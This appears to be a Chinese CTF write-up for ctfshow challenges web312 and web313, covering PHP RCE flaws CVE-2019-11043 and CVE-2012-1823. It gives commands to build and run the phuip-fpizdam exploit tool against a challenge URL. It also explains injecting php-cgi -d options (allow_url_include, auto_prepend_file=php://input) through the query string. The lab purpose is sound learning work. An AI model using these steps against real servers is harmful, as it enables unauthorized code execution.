php-cve篇(CVE-2019-11043&CVE-2012-1823)

web312

CVE-2019-11043(使用某些特定配置的 Nginx + PHP-FPM 的服务器存在漏洞,可允许攻击者远程执行代码。)

工具是基于go环境的,所以先在kali安装

XML 复制代码
//更新一下apt
sudo apt update
sudo apt upgrade

//安装go
apt install golang

//测试是否成功
go -version


//下载工具源码,下不了的话科学上网开全局
git clone https://github.com/neex/phuip-fpizdam.git

//查看go环境信息
go env

//目录跳转
cd phuip-fpizdam

//安装所需
go get -v && go build

然后利用工具进行远程代码执行的利用go run . "http://351a2d6a-33c8-4a71-b150-2cd1c82b8eac.challenge.ctf.show/index.php"

如果报错如上图,执行命令切换为国内代理:go env -w GOPROXY=https://goproxy.cn

然后回到题目进行rce!

P牛 友情提示:您应该注意,只有部分PHP-FPM子进程受到了污染,因此请尝试几次以执行该命令。

web313

CVE-2012-1823

XML 复制代码
这个漏洞简单来说,就是用户请求的querystring(querystring字面上的意思就是查询字符串,一般是对http请求所带的数据进行解析,这里也是只http请求中所带的数据)被作为了php-cgi的参数,最终导致了一系列结果。

​ RFC3875中规定,当querystring中不包含没有解码的=号的情况下,要将querystring作为cgi的参数传入。
那么就可以构造cgi中的命令!



cgi模式下有如下可控命令行参数可用:

-c 指定php.ini文件(PHP的配置文件)的位置
-n 不要加载php.ini文件
-d 指定配置项
-b 启动fastcgi进程
-s 显示文件源码
-T 执行指定次该文件
-h和-? 显示帮助

那么好查看源码使用-s(只要没有=就会把querystring当作cgi参数)

然后使用-d设置一下配置项,进行任意文件包含!

XML 复制代码
allow_url_include是否允许通过url进行文件包含
auto_prepend_file这个配置项在图片马也经常用到,在任意脚本执行前先执行指定脚本

由于不能用未编码的=,那么我们编码即可!然后还有就是空格的问题,得用+而不是%20,这不知道为啥,好像说是querystring多用+吧!

用php://input伪协议即可!

相关推荐
aramae10 分钟前
模拟实现strcmp()(C语言)
c语言·开发语言·后端
泡海椒1 小时前
PDF 表格样式优化:jquick-pdf 边框、圆角、背景色
java·开发语言·pdf
Beyond_System|系统之外2 小时前
【学编程】Python基础编程题100道(21-60)
开发语言·python·算法
景熙55232 小时前
15.Java 8 Stream 流入门到实战
java·开发语言·数据结构
Bruce_Liuxiaowei5 小时前
Python 实例赋值遮蔽类属性:一个从不报错的静默陷阱
开发语言·python·语法糖
aramae6 小时前
MySQL内置函数(7)
开发语言·笔记·后端·mysql·其他
辛迪聊物业数字化8 小时前
智慧物业管理平台架构实践:从SaaS物业云到商管系统的全模块落地
大数据·微服务·php
码行山野赴时序归途9 小时前
链表家族收官篇:循环链表
c语言·开发语言·数据结构·链表
景熙55239 小时前
单体项目编写思路和落地形式
java·开发语言
计算机毕设定制辅导-无忧学长10 小时前
《基于SpringBoot的未成年人健康知识科普平台的设计与实现》
java·开发语言·vue.js·spring boot·未成年人健康知识科普平台